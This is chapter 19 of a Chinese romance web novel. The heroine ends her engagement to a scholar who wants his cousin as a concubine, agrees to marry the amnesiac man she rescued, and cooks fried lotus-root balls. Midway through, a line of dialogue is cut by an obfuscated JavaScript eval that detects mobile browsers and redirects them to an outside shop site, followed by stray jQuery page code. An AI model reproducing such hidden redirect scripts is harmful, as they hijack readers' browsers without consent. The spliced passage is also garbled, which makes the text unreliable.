19. 杀鱼的第十九天
    既然心中已经做下决断,平安也不想再藕断丝连。过几日就要插秧,她想在那之前把事情解决。

    季泽回来的日子,恰逢一场淅淅沥沥的春雨。

    将档口收拾干净后,平安撑上油伞寻到许家脚店。

    这会已过饭点,店里只稀稀散散几个人走动,平安尚未进门,隔老远便看见许芳菲正亲切地拉着许娘子。

    她看到平安,凑近许娘子耳边说了些什么,姑侄俩不约而同哈哈大笑起来。

    而一旁的季泽,亦含笑望着两人。

    许芳菲本就是他们亲人,平安不会自不量力到让他们在自己与她中间抉择。

    之前试探季泽,只为验证她的猜想。

    她所在意的,一直是信任,只可惜......

    见平安过来,许娘子起身上前,依旧亲密地拉着她的手。

    “安安,好久没见到你了。”

    “是,最近家中农忙。”

    “我看着胡娘子肤色都晒黑了,倒像个俊郎君。”

    “你这丫头,促狭。”季泽拟挥手训斥,许小娘子笑嘻嘻抬手躲过。

    见平安欲言又止,许娘子拖着她来到后堂。

    “好孩子,家中可是有事?”她拉住平安的手,细声安慰。

    平安深吸一口气,直视许娘子:“对不住,您之前说的婚事,就此作罢吧。”不论季泽与许芳菲的乌糟事,许娘子待她确实一向和蔼可亲,只是可惜差些缘分。

    出乎平安意料的是,许娘子并未多言,很是干脆应下。

    事了,还拉着她的手轻声安抚:“好孩子,没事,只当咱们没有这个缘分。”

    许娘子是同意了,可季泽却追了出来。

    “胡娘子!”他匆匆跑来,一向规整的布巾幞帽,也被风吹得歪歪斜斜。

    平安温声应道:“莫急,先歇歇。”

    她之前觉得,这郎君虽文弱了些,但也算内敛老实。但领悟到他的本性后,再看着他,心中连一丝波澜也无。

    平安有时也在想,她是不是一个没有感情的怪物,每次都能这样收放自如,片叶不沾。

    看她这云淡风轻的模样,季泽因为激动而红润的面色霎时惨白。良久,他哑声问道:“你就没有什么想与我说的?”

    “咱们不合适。”

    “哪里不合适?明明我出门前你还说等我回来。”

    说了吗,平安不记得了,可能那时她随意嗯了一声。

    见平安沉默,他顿了顿,轻声问道:

    “可是因表妹的缘故,我与表妹之间清清白白,你又何苦为难于她。”

    为难,真是有些好笑。

    看他眼眶微红,平安闭眼放空神思,深吸一口气后,她叹道:

    “你既心中有许家表妹,又何苦招惹我?”

    回答她的是一片沉默,答案显而易见。

    原来他知道自己与他表妹有龃龉,也知道自己不喜他与表妹亲近。想到他平日里那样拉偏架,装睁眼瞎,平安就有些想笑。

    做事拎不清,凡事不信任她的夫君,她要来是嫌自己活太长吗?

    “可男子娶妻纳妾,本是常事。”不多时,季泽低沉的声音幽幽传来。

    “是常事,可谁为妻,谁为妾?”若是认识第一日,平安听到他说这话,只会觉得讶异。这会,她只觉得,人心真是易变,不,复杂。

    察觉到她松口,季泽神情雀跃,他上前一步急切答道:“表妹善解人意,定然同意为妾,你放心,我定会一碗水端平。”

    “哧!”平安觉得自己实在无聊透顶,她为何要好奇季泽会说出些什么来。之前还说当妹妹,这会就变成情妹妹。

    看来,自己不在这几日,又发生了些什么。

    买卖不成仁义在,她现在不想与他们撕破脸皮,是以她只是静静望着季泽:“所以我说咱们不合适,我要招婿上门,孩子得同我姓,你若喜欢许家表妹,你便与她成亲,咱们男婚女嫁各不相干,这是皆大欢喜的事。”

    季泽眼眶通红,厉声反问:“你这样急着摆脱我,可是已找好下家了?”听他声音陡然提高,树上的麻雀吓得惊散开来。

    他今日的表现倒是与之前一贯羞赧内向的模样大相径庭。

    “好聚好散。”

    见她这样平静,季泽神色愈发阴沉,他拉住平安衣角,扬声质问:“还说不是?”

    说完,他察觉自己冲动,懊恼地垂下头。他抿了抿唇,拉住平安衣角:“你离了我可还能找到读书人?若我日后功成名就,你可会后悔?平安,这几日你再仔细考虑考虑。”

    有趣,这样会摆明利益关系,倒是与他以往拘谨害羞的模样大相径庭。

    “季郎君,人,不能既要,又要。”平安嘴角挑起一抹轻笑,慢慢扯回自己的衣角。

    季泽嘴唇嗫喏,终是慢慢松开了手。

    插秧这日,倒是个难得的好日光。天朗气清,莺雀脆啼。

    连日的春雨连绵,灶房里引火的稻草都生了霉。平安将灶房里的柴火和稻草搬到院中晾晒,顺便清理一下角落的藕堆。

    挑了两根莲藕洗净削皮,露出那白白胖胖的藕节来。

    一根湖藕切块与骨头、莲子、百合干炖煮,另一根正好做成松软香甜的藕丸。

    她将擂钵取出,拿着藕节便开始打圈摩擦。

    不多时,脆嫩雪白的湖藕汁水四溅,化为绵密细腻的藕蓉缓缓沉底。

    看平安埋头苦干,一旁无事做的木头搓了搓手,主动请缨:“胡娘子,这样的粗活让我来。”

    他嘴上说得大义凛然,但目光却饱含雀跃,平安瞅着,这哪里是怕她辛苦,这是他自个觉得好玩罢了。

    但他既想做,平安也乐得清闲。

    她挑了个水嫩新鲜的大萝卜,再从地里掐来几根新生的芫荽。

    将萝卜芫荽洗净,萝卜削皮切丝,霎时间,灶房中规律明快的切菜声与沉闷的磨藕声间或交错,此起彼伏。

    待萝卜切完,平安看了眼汤锅中炖的莲藕排骨汤,尚且差些火候。

    一切准备就绪,只待木头将那几节藕杆磨成藕泥。

    瞧他那张俊颜这会累得通红,手中的动作越来越慢。

    平安好笑地接过他手中的活:“我来接着干吧。”

    “不,不成。”木头擦了擦额间的汗,颤抖着手推开平安。

    看他这副半口气提不上来却仍嘴硬的倔强样,平安只觉好笑,他既说不成,那她也懒得接手。

    所幸这会时辰尚早,还有时间给他磨。

    平安给爷爷他们送茶水回来,便见木头正站在屋檐下伸懒腰,一会锤锤肩背,一会揉揉手,这架势,好像刚刚干了不少重活一样。

    见平安进门,他吓得往后一缩,瞬间停了所有动作,理了理衣衫,这才对她灿烂一笑。

    他的心思,早在数日的相处中昭然若揭。

    思及此,平安将院门反锁,朝他招了招手。

    “胡娘子。”一口白牙,笑容实在晃眼。

    “你之前总说,救命之恩无以为报,那我便给你回报的机会,你可愿意。”

    木头的表现却不如平安想象中欣喜,他蹙了蹙眉,往后退了几步,紧紧靠着墙壁:“你,你别白费心思给我找家人了,我觉得我在村里过得挺自在。”

    平安扑哧一笑,解释道:“你听我说完再做决定不迟,此事若了,以后你若想起来,离开也好,留在这也罢,都随你的便。”

    “你说说看。”木头狐疑地打量她。

    “你若已有家室,就当今日之事未提,咱们各自婚嫁,互不相干。”

    “我,我未婚配。”平安话音未落,木头焦急地上前一步,出声打断。

    “你不是不记得了?”平安反问。

    “就是未曾。”木头捂着头,倔强应道。

    “那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069004|149090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    成,咱们成亲,只是孩子得随我姓。”

    “什么?你再说一遍。”木头不可置信地瞪大眼。

    “怎么,你不愿意上门?”平安调笑般反问。做出这等轻率决定,也实乃无奈之举,还有几月她就要满二十,她是真想快点解决这催魂一般的成亲任务。

    依她看,若这木头恢复记忆,怕是身上的麻烦事不会比季泽少。

    只是那时候的事,那时再想吧,她现在只需一个合适的人选来助她度过眼前难关。

    “不,你再说一遍前面那句。”他眨了眨眼睛,一双手激动伸出,又缓缓收回。

    “成亲。”

    “成交。”木头欢快地拉住她的衣袖。

    “救命之恩,自当以身相许。”他这会也不摆少爷谱了,若是身后有一条尾巴,怕是早已摇得只见残影。

    “那我可说好,你在家中得帮爷爷干活,可不许去外面沾花惹草。”

    “都听娘子的。”

    平安发现,这人很会顺杆爬,嘴上占了她便宜不说,人已经热情无比地拉住她胳膊,亲昵地在她身侧蹭了又蹭。

    啊,她觉得,莫不真的是狗崽投的胎吧。

    “呸,你这人,咱们还没成亲呢。”她轻啐一口,脸上却无甚怒容。

    木头这个人精,哪能不知她是口嫌体正直,拉着她诉说半晌他对她的爱慕之情。

    眼见他从河水滔滔说到日月星辰,从两人成亲说到孩子满月。

    平安看时间已晚,赶忙推开他,两人一前一后回了灶房忙碌。

    除大棒骨外,平安另提了块猪腰打算做个下饭菜。

    这会猪腰的血水已浸出,平安片掉白色的腰骚,将处理好的猪腰斜刀切成腰花。

    将腰花与葱姜盐一起抓出血水,下清水再度清洗。

    另下葱姜蒜花椒酱油芡粉抓拌均匀,平安才有了空拍开一脸傻笑的木头。

    “好了,等会爷爷他们要回来了,你乖乖待在房中。”

    “那咱们的事?”

    “晚上我同爷爷说。”木头这才乐呵呵去院里劈柴。

    莲藕自带的丰富淀粉与藕丝造就了这盘藕丸的神奇之处,只需将藕粉刮成细蓉,无需添加任何东西,便可捏拽成团。

    将磨好的藕泥放笊篱上过滤,平安取一团轻轻捏握,适当揉搓后将其放入碗中摇圆。

    捏这藕丸看似简单,但这丸子水多则化,水少则裂,如何把控时间与水份,全凭经验。

    不多时,数斤的粉藕便已成了一盘白嫩嫩,圆滚滚的藕丸。

    待木头进来,柴火熊熊燃烧,平安心痛地挖了几大勺猪油入锅。

    藕丸多淀粉,极易粘锅,是以炸它需下宽油,若她抠抠搜搜不舍下油,极有可能油藕两失。

    没关系,她心中不断安慰自己,等下剩下的油还可以爆炒腰花,再有剩的盛起来继续用,她没有浪费。

    就是此事定不能让她爷发现,否则小老头得心疼得心肝颤颤。

    平安拿筷尖试探油温,待筷子四周冒起密集的小泡时,将盘子斜倾滚藕丸下锅。

    手是不能去拿的,藕丸内里绵软松散,一捏就得出现裂纹。

    白皙圆润的藕丸在热油的慢慢烹炸下,表皮逐渐变得焦黄。

    待藕丸外皮炸酥定型,平安拿筷子轻轻翻面。只等藕丸通体金黄,立马执笊篱捞出控油。

    再炸下去,颜色变深,则易发苦。若火候不够,则内里不熟。这炸藕丸,须文火慢慢翻滚,切切观察,如此才可里外受热均匀。

    撒上白糖,一盘绵软香甜的炸藕丸便新鲜出炉。

    给木头一颗藕丸尝鲜,又说了几句好话哄他,这才让他自愿乖乖锁在房中。

    这郎君,一开始嫌这嫌那,瞧着不好相处。

    但平安发现,他这人吃软不吃硬,随便几句好话就能让他乐得找不着北。

    看着挑剔,却如孩童般好哄。